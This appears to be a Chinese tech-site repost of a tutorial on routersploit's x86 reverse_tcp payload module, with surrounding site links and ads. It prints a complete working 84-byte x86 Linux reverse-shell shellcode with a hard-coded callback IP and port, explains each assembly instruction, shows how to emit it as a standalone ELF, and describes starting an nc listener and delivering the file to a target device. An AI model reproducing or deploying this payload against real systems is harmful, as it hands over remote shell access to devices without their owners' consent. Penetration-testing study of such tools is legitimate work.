新闻详情

新闻详情

首页 / 资讯中心 / 详情

routersploit 实战:使用 x86/reverse_tcp Payload 生成 X86 架构反向 TCP Shell

发布时间:2026/11/5 12:25:48来源:尧图网络
routersploit 实战:使用 x86/reverse_tcp Payload 生成 X86 架构反向 TCP Shell
网络安全嵌入式【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址https://gitcode.com/gh_mirrors/ro/routersploit点击查看免费下载导读payloads/x86/reverse_tcp是 routersploit 框架内置的 Payload 生成模块用于为X8632 位 Intel/AMD架构的嵌入式设备生成一条交互式反向 TCP Shell 的原始 Shellcode。本文以该模块的官方文档为主线完整演示其在rsf.py交互式终端中的使用流程并深入 reverse_tcp.py 源码逐条拆解 Shellcode 的汇编原理、参数校验规则与三种输出格式Python / C / ELF帮助你不仅会用更能理解生成背后的底层机制。模块概述它能做什么根据官方文档 docs/modules/payloads/x86/reverse_tcp.md 的定义Module generates payload that creates interactive tcp reverse shell for X86 architecture.该模块生成一段可在 X86 架构上执行的 Shellcode目标设备主动向攻击者监听的地址lhost和端口lport发起 TCP 连接连接建立后将标准输入/输出/错误全部重定向到该 TCP 连接上最终执行/bin/sh形成一条交互式反向 Shell。在 routersploit 的模块分类树中它位于routersploit/modules/payloads/x86/下与bind_tcp绑定型正向 Shell并列同属于架构相关 Payload 目录armle / mipsbe / mipsle / x86 / x64 / perl / php / python 等见 payloads.py 中Architectures的定义。它通常被用作 Exploit 模块成功利用设备后配合check/run阶段投递的后续载荷也可独立运行获取可嵌入的 Shellcode 字节序列。快速上手验证步骤与交互示例官方文档给出的验证步骤Verification Steps如下启动框架./rsf.py加载模块use payloads/x86/reverse_tcp设置回连地址set lhost 192.168.1.4设置回连端口set lport 4321运行run模块即生成 X86 反向 TCP Shell Payload对应的完整交互会话Scenarios如下rsf use payloads/x86/reverse_tcp rsf (X86 Reverse TCP) set lhost 192.168.1.4 [] lhost 192.168.1.4 rsf (X86 Reverse TCP) set lport 4321 [] lport 4321 rsf (X86 Reverse TCP) run [*] Running module... [*] Generating payload [] Building payload for python payload ( \x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80 \x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x04\x68 \x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1 \xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3 \x52\x53\x89\xe1\xb0\x0b\xcd\x80 )默认输出的这段 Python 格式载荷共 84 字节示例中lhost192.168.1.4、lport4321可以直接复制到 Python 2 中作为payload变量使用也可以作为 C/ELF 等其他格式的载体。会话中提示符变为rsf (X86 Reverse TCP)表示当前已激活该模块set命令用于修改模块选项。模块选项与参数校验该模块的可用选项由两个 Mixin 组合而来源码位于 payloads.pyReverseTCPPayloadMixinpayloads.py#L92-L95定义了两个核心选项lhostOptIP类型回连 IP 地址Connect-back IP address默认空字符串必须显式设置lportOptPort类型回连 TCP 端口Connect-back TCP Port默认5555ArchitectureSpecificPayloadpayloads.py#L151-L165定义了输出控制选项outputOptString类型输出格式可选elf/c/python默认pythonfilepathOptString类型当outputelf时 ELF 文件的写出路径默认/tmp/8位随机字符串由random_text(8)生成见 utils.py#L20-L28。set命令会触发对应选项类型的校验器option.pyOptIP.__set__option.py#L34-L41仅接受合法的 IPv4 或 IPv6 地址否则抛出OptionValidationError: Invalid address...。校验底层依赖 utils.py 中的is_ipv4/is_ipv6正则。OptPort.__set__option.py#L44-L57必须可转换为整数且满足0 value 65535否则报错。因此文档示例中的set lhost 192.168.1.4与set lport 4321都是经过严格校验后才生效的。源码剖析Shellcode 是如何生成的模块核心实现位于 reverse_tcp.py 的generate()方法。它首先将用户配置的 IP 与端口编码为二进制字节reverse_ip utils.convert_ip(self.lhost) # 192.168.1.4 - b\xc0\xa8\x01\x04 reverse_port utils.convert_port(self.lport) # 4321 - b\x10\xe1其中convert_ip将点分十进制 IP 逐段转为字节utils.py#L60-L70convert_port将端口格式化为 4 位十六进制并转为 2 字节大端序utils.py#L73-L81。可以看到示例输出中的\x68\xc0\xa8\x01\x04push 192.168.1.4与\x02\x00\x10\xe1端口 2 字节10 e1 4321正是这两个函数作用的结果——Shellcode 中硬编码的目标地址与端口完全取决于lhost/lport的取值。随后方法返回一段手工编写的 X86 汇编 Shellcode每一字节都附有对应汇编注释整体流程分为四个阶段阶段一创建 TCP Socketsys_socketcall, SYS_SOCKET1b\x31\xdb # xor ebx,ebx b\xf7\xe3 # mul ebx b\x53 # push ebx b\x43 # inc ebx b\x53 # push ebx b\x6a\x02 # push byte 0x2 b\x89\xe1 # mov ecx,esp b\xb0\x66 # mov al,0x66 (sys_socketcall) b\xcd\x80 # int 0x80 b\x93 # xchg eax,ebx通过int 0x80调用sys_socketcall(0x66)参数ebx1SYS_SOCKETecx指向[2, 1, 0]AF_INET2, SOCK_STREAM1, 0创建 TCP Socket返回值文件描述符暂存于ebx。阶段二重定向标准输入/输出/错误sys_dup2b\x59 # pop ecx b\xb0\x3f # mov al,0x3f (sys_dup2) b\xcd\x80 # int 0x80 b\x49 # dec ecx b\x79\xf9 # jns 0x11循环调用sys_dup2(0x3f)把 Socket 文件描述符复制到 2、1、0stderr、stdout、stdin循环条件dec ecx; jns从 2 递减到 0。这样后续/bin/sh的输入输出就全部绑定到 TCP 连接上这是交互式的关键。阶段三发起 TCP 连接sys_socketcall, SYS_CONNECT3b\x68 reverse_ip # push ip addr b\x68\x02\x00 reverse_port # push port b\x89\xe1 # mov ecx,esp b\xb0\x66 # mov al,0x66 (sys_socketcall) b\x50 # push eax b\x51 # push ecx b\x53 # push ebx b\xb3\x03 # mov bl,0x3 b\x89\xe1 # mov ecx,esp b\xcd\x80 # int 0x80在栈上构造sockaddr_in端口 回连 IP再次调用sys_socketcall此时ebx3SYS_CONNECT向lhost:lport发起反向 TCP 连接。阶段四执行 /bin/shsys_execveb\x52 # push edx b\x68\x6e\x2f\x73\x68 # push n/sh b\x68\x2f\x2f\x62\x69 # push //bi b\x89\xe3 # mov ebx,esp b\x52 # push edx b\x53 # push ebx b\x89\xe1 # mov ecx,esp b\xb0\x0b # mov al,0xb (execve) b\xcd\x80 # int 0x80利用push技巧在栈上构造//bin/sh字符串//与/等价同时保证 4 字节对齐且不含\x00然后调用sys_execve(0xb)执行/bin/sh。由于前面已经完成 dup2 重定向Shell 的输入输出即为攻击者的 TCP 连接——反向 Shell 建立完成。需要特别说明这是一段经典的 32 位 X86 Linux Shellcode不含任何\x00空字节便于直接嵌入字符串缓冲区模块源码的注释中注明其灵感来源于 Metasploit 的 x86 reverse_tcp 模块authors 字段中列出了原模块作者 Ramon de C Valle、joev 以及 routersploit 移植作者 Marcin Bury。输出格式python / c / elf 三种形态ArchitectureSpecificPayload.run()payloads.py#L167-L194根据output选项分发到三种生成器Python 格式默认generate_pythonpayloads.py#L230-L238把每个字节格式化为\xNN每 15 个字节换行拼接成payload (...)的 Python 字面量。文档示例输出的正是这一格式。C 格式设置set output c后generate_cpayloads.py#L220-L228会输出unsigned char sh[] { ... };形式的 C 数组方便直接嵌入 C 语言 Exploit 或注入程序中。ELF 格式设置set output elf后generate_elfpayloads.py#L196-L218会把 Shellcode 追加到预置的 X86 ELF 头之后并回填p_filesz/p_memsz两个程序头字段生成一个可独立执行的 ELF 文件并写入filepath默认/tmp/随机名。X86 的 ELF 头模板定义在 payloads.py#L71-L78 的ARCH_ELF_HEADERS中ELFCLASS32、e_machine3即 EM_386。rsf (X86 Reverse TCP) set output elf [] output elf rsf (X86 Reverse TCP) set filepath /tmp/x86_rev [] filepath /tmp/x86_rev rsf (X86 Reverse TCP) run [*] Running module... [*] Generating payload [*] Building ELF payload [] Saving file /tmp/x86_rev生成后可先在攻击机上启动监听如nc -lvnp 4321再把 ELF 投递到目标 X86 设备执行即可获得反弹 Shell。测试用例验证仓库为 payload 生成逻辑提供了单元测试 tests/payloads/x86/test_reverse_tcp.py。测试固定设置lhost192.168.1.4、lport4321断言Payload().generate()的输出与预置的 84 字节reverse_tcp常量完全一致同时该文件中还预置了同参数的 ELF 形态elf_x86_reverse_tcpELF 头 Shellcode对应generate_elf的拼接逻辑。运行pytest tests/payloads/x86/test_reverse_tcp.py即可复现验证——这也是文档示例输出可被逐字节复现的自动化保证。小结使用路径./rsf.py→use payloads/x86/reverse_tcp→set lhost IP→set lport PORT→run。核心选项lhostOptIP必填、lportOptPort默认 5555、outputpython/c/elf默认 python、filepathELF 写出路径。生成原理generate() 通过convert_ip/convert_port将参数编码进手工汇编 Shellcode依次完成 socket → dup2 → connect → execve(/bin/sh) 四个阶段产出 84 字节无空字节的 X86 Linux Shellcode。验证方式test_reverse_tcp.py 提供固定参数的字节级回归测试可直接运行确认生成结果。该模块与payloads/x86/bind_tcp正向绑定 Shell见 bind_tcp.py共同构成 X86 架构的两类 TCP Shell 载荷反向型更适用于目标位于 NAT 之后、无法直接入站的场景是路由器、摄像头等嵌入式设备渗透测试链路中的常用后续载荷。赞分享网络安全嵌入式【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址https://gitcode.com/gh_mirrors/ro/routersploit点击查看免费下载相关推荐Data Engineering Zoomcamp 2026 实战用 dlt AI 从 API 构建到数据仓库的自动化数据摄入管道Data Engineering Zoomcamp 2026 实战用 dlt AI 从 API 构建到数据仓库的自动化数据摄入管道 本文是 Data En网络安全嵌入式Linux 内核 device-mapper uevent 机制完全指南从多路径设备事件到用户态 udev 通知Linux 内核 device mapper uevent 机制完全指南从多路径设备事件到用户态 udev 通知 关联文档 dm uevent.rst h网络安全嵌入式PCSX2 中的 Zydis高性能 x86/x86-64 反汇编与代码生成库的集成实战指南PCSX2 中的 Zydis高性能 x86/x86 64 反汇编与代码生成库的集成实战指南 导读 本文围绕 PCSX2PlayStation 2 模拟器仓虚拟化桌面应用图形学上一篇开源项目 mootdx 使用教程下一篇Awesome Prompts从提示模板到工程化智能体的完整进化路线图创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

【外设】之大彩串口显示屏 2026/11/4 15:56:54

【外设】之大彩串口显示屏

大彩串口屏初步使用 1 .官网下载 STM32 屏幕 GUI 设计资料 http://www.gz-dc.com/category/typeid/4112 找到 STM32 Keil 工程,移植相关代码因项目而异进行移植,由于项目简单,本人只对用到的指令接口进行修改。 比如:注意事项&…

阅读更多 →
无法下载Windows系统iso文件 2026/11/4 22:55:41

无法下载Windows系统iso文件

当我遇到这个问题的时候,我打开了一个网站: 登录 然后我打算下载的时候: 突然那个官方的连接就可以下载了:

阅读更多 →
【清华代码熊】DeepSeek V4.1 Flash 后训练详解 2026/11/4 17:01:23

【清华代码熊】DeepSeek V4.1 Flash 后训练详解

📌 上期解析了 DeepSeek V4.1 Flash 模型架构改进,本期解析 DeepSeek V4.1 Flash 预训练/后训练技术: 🌟 预训练:45T 文本 多模态混合语料、直接训练 sparse attention(取消 DeepSeek V4 的 dense 冷启动&…

阅读更多 →
Shuffle-R1: Efficient RL framework for Multimodal Large Language Models via Data-centric Dynamic ... 2026/11/4 12:33:12

Shuffle-R1: Efficient RL framework for Multimodal Large Language Models via Data-centric Dynamic ...

文章主要内容和创新点 主要内容 本文聚焦于多模态大语言模型(MLLM)强化学习(RL)训练中的效率问题,提出了一个名为Shuffle-R1的框架。研究发现,当前RL训练存在两个关键缺陷: 优势值坍缩(Advantage Collapsing):批次中大多数优势值集中在零附近,导致有效梯度信号被淹…

阅读更多 →
PRvL: Quantifying the Capabilities and Risks of Large Language Models for PII Redaction 2026/11/5 4:24:57

PRvL: Quantifying the Capabilities and Risks of Large Language Models for PII Redaction

一、文章主要内容总结 本文聚焦于利用大型语言模型(LLMs)实现个人身份信息(PII)脱敏的研究,旨在解决传统脱敏方法(如基于规则的系统、领域特定命名实体识别(NER)模型)泛化能力差、跨格式/跨语境适应性弱的问题。 研究通过全面评估多种LLM架构(包括密集型LLM(D-LLM…

阅读更多 →
LLaVA-RE: Binary Image-Text Relevancy Evaluation with Multimodal Large Language Model 2026/11/5 4:24:57

LLaVA-RE: Binary Image-Text Relevancy Evaluation with Multimodal Large Language Model

文章主要内容和创新点 主要内容 本文聚焦于二进制图像-文本相关性评估任务(判断图像与文本“相关”或“不相关”),针对该任务中文本格式多样、相关性定义随场景变化等挑战,提出了基于多模态大语言模型(MLLM)的解决方案LLaVA-RE。 模型设计:LLaVA-RE基于LLaVA 1.5架构,…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉